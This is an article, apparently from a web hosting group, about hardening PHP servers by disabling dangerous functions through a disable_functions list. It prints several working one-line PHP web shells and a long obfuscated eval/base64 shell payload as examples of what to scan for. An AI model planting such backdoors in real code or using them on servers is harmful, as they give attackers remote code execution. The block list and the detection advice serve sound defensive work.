Unsafe PHP Functions

Modesco Holding - is more than 300 information sites and 5 major Internet services. Projects are regularly bought and sold. As you understand, it is physically impossible to maintain high quality code in this situation. And the main attention of programmers, as a rule, is focused on the services themselves. Hacks, shells, infection of sites with other malicious things ... All this causes significant harm to users and companies. To avoid this, one often has to look for rather non-standard ways to reduce risks.







cat







fastcgi_param PHP_VALUE open_basedir="/code/"; fastcgi_param PHP_ADMIN_VALUE disable_functions="exec,expect_popen,mail,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,proc_open,shell_exec,system";
      
      





This does not mean that all dangerous functions urgently need to be prohibited. It does not mean that by disabling them, you will definitely protect yourself from all PHP shells. Most of these features can be absolutely safely used in your application, Framework or libraries. Each application should be approached individually. Security is the process of building a defense in depth, and disabling dangerous functions in this case is just one of the possible lines of this defense.







The list of such functions may well be an assistant for finding suspicious files. PHP-shell can be very cleverly hidden - an excellent example of obfuscation is the article on habr







This article is based on a stackoverflow record and our own experience parsing a huge set of PHP shells .







What to do with it



It would be nice to disable some dangerous functions for PHP-fpm (or something else). Leave the opportunity to execute them only through PHP-cli. The appearance of other functions should be monitored in files. The third should be treated more carefully and not allow uncleaned or strictly not validated lines to get into the arguments.







Command Execution Functions



 exec expect_popen passthru system shell_exec popen proc_open pcntl_exec
      
      





These features should be turned off first. If you need them in PHP-fpm, then you are doing something wrong. These functions allow you to exit the environment specified in open_basedir. Turning off only part of the functions will not be enough. For example, the beloved many WSO shell, in search of opportunities for code execution, enumerates functions.







 function wsoEx($in) { $out = ''; if (function_exists('exec')) { } elseif (function_exists('passthru')) { } elseif (function_exists('system')) { } elseif (function_exists('shell_exec')) { } elseif (function_exists('pcntl_exec')) { } elseif (function_exists('expect_popen')) { } elseif (function_exists('proc_open')) { } elseif (is_resource($f = @popen($in,"r"))) { } return $out; }
      
      





Process management features



 pcntl_alarm pcntl_exec pcntl_fork pcntl_get_last_error pcntl_getpriority pcntl_setpriority pcntl_signal pcntl_signal_dispatch pcntl_sigprocmask pcntl_sigtimedwait pcntl_sigwaitinfo pcntl_strerror pcntl_wait pcntl_waitpid pcntl_wexitstatus pcntl_wifcontinued pcntl_wifexited pcntl_wifsignaled pcntl_wifstopped pcntl_wstopsig pcntl_wtermsig
      
      





They should also be turned off. For example, proc_open



is found in the WSO. Yes and no place for such functions in the environment of PHP-fpm. Daemon should be launched through PHP-cli.







Information Functions



 phpinfo posix_mkfifo posix_getlogin posix_ttyname getenv get_current_user proc_get_status get_cfg_var disk_free_space disk_total_space diskfreespace getcwd getlastmo getmygid getmyinode getmypid getmyuid
      
      





These functions disclose information about your system and can greatly facilitate the attack on other software. And they can also become a source of confidential data leakage, for example, in symfony it is recommended to store database connections in ENV. Therefore, it is advisable to prohibit the execution of these functions, except for those used in your application.







Functions executing PHP code



 eval assert preg_replace create_function include include_once require require_once
      
      





It is worth checking their presence in downloaded files and conducting regular checks of current files. Besides eval



there are other ways to execute PHP code. For example, you can include include a specially crafted JPG file . However, most framework and applications use these functions - you can not disable them. Therefore, it is important to be extremely careful when using them. Shell can be just one line:







  include("data:text/plain;base64,$_GET[code]");
      
      





Functions That Use Callback



 ob_start array_diff_uassoc array_diff_ukey array_filter array_intersect_uassoc array_intersect_ukey array_map array_reduce array_udiff_assoc array_udiff_uassoc array_udiff array_uintersect_assoc array_uintersect_uassoc array_uintersect array_walk_recursive array_walk assert_options uasort uksort usort preg_replace_callback spl_autoload_register iterator_apply call_user_func call_user_func_array register_shutdown_function register_tick_function set_error_handler set_exception_handler session_set_save_handler sqlite_create_aggregate sqlite_create_function
      
      





These functions can be used to call other functions by passing a string parameter. It is worth applying them carefully and not allowing raw data to get into the arguments of the function. After all, they can also serve to mask the shell. An example of the simplest shell using these functions looks like this:







 print_r(call_user_func_array($_POST['functie'], array($_POST['argv'])));
      
      





Functions Often Used in Obfuscation



 eval assert str_rot13 base64_decode gzinflate gzuncompress preg_replace chr hexdec decbin bindec ord str_replace substr goto unserialize trim rtrim ltrim explode strchr strstr chunk_split strtok addcslashes runkit_function_rename rename_function call_user_func_array call_user_func register_tick_function register_shutdown_function
      
      





These functions are often used to mask already-known PHP shells from antiviruses and from prying eyes. Check downloaded files for their presence, conduct regular checks in current files. An example of hiding a shell:







 eval(str_rot13(gzinflate(str_rot13(base64_decode('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')))));
      
      





File System Features



 fopen tmpfile bzopen gzopen chgrp chmod chown copy file_put_contents lchgrp lchown link mkdir move_uploaded_file rename rmdir symlink tempnam touch unlink imagepng imagewbmp image2wbmp imagejpeg imagexbm imagegif imagegd imagegd2 iptcembed ftp_get ftp_nb_get file_exists file_get_contents file fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype glob is_dir is_executable is_file is_link is_readable is_uploaded_file is_writable is_writeable linkinfo lstat parse_ini_file pathinfo readfile readlink realpath stat gzfile readgzfile getimagesize imagecreatefromgif imagecreatefromjpeg imagecreatefrompng imagecreatefromwbmp imagecreatefromxbm imagecreatefromxpm ftp_put ftp_nb_put exif_read_data read_exif_data exif_thumbnail exif_imagetype hash_file hash_hmac_file hash_update_file md5_file sha1_file highlight_file show_source php_strip_whitespace get_meta_tags
      
      





These functions can be used to download files or to disclose information about the system - it is worth using them with caution. Many PHP shells can upload third-party files via ftp. A simple PHP shell for loading an arbitrary file looks like this:







 copy($_GET['s'], $_GET['d']);
      
      





Other



 extract parse_str putenv ini_set mail header proc_nice proc_terminate proc_close pfsockopen fsockopen apache_child_terminate posix_kill posix_mkfifo posix_setpgid posix_setsid posix_setuid
      
      





Caution is also needed with these functions, and some of them are best prohibited. For example, mail



can be used to send spam to an infected site. If your application does not intend to use these functions, then disable them. The following construct is not fearful, but it is one of the smallest PHP shells:







  @extract($_REQUEST); @die ($ctime($atime));
      
      





Conclusion



Disabling unsafe PHP functions is one way to reduce the risks of running out of resources. If people with “specific knowledge” will take care of your project, it will most likely fall.







This protection proved to be especially good on sites on the CMS - they are infected, as a rule, by malicious networks in automatic mode. If the scanning bot cannot run the command or the flooded PHP shell, it will most likely go to the next site.







I hope this article will encourage beginners to be more careful about filtering, shielding, and validating data received from the user.







The article does not pretend to unique knowledge - in one form or another, this material has already been encountered in Runet. The text is a generalized and systematized material, calling for drawing attention to the problem.







Perhaps he will be able to motivate someone to write complex material on Wordpress security, well, or another CMS.








All Articles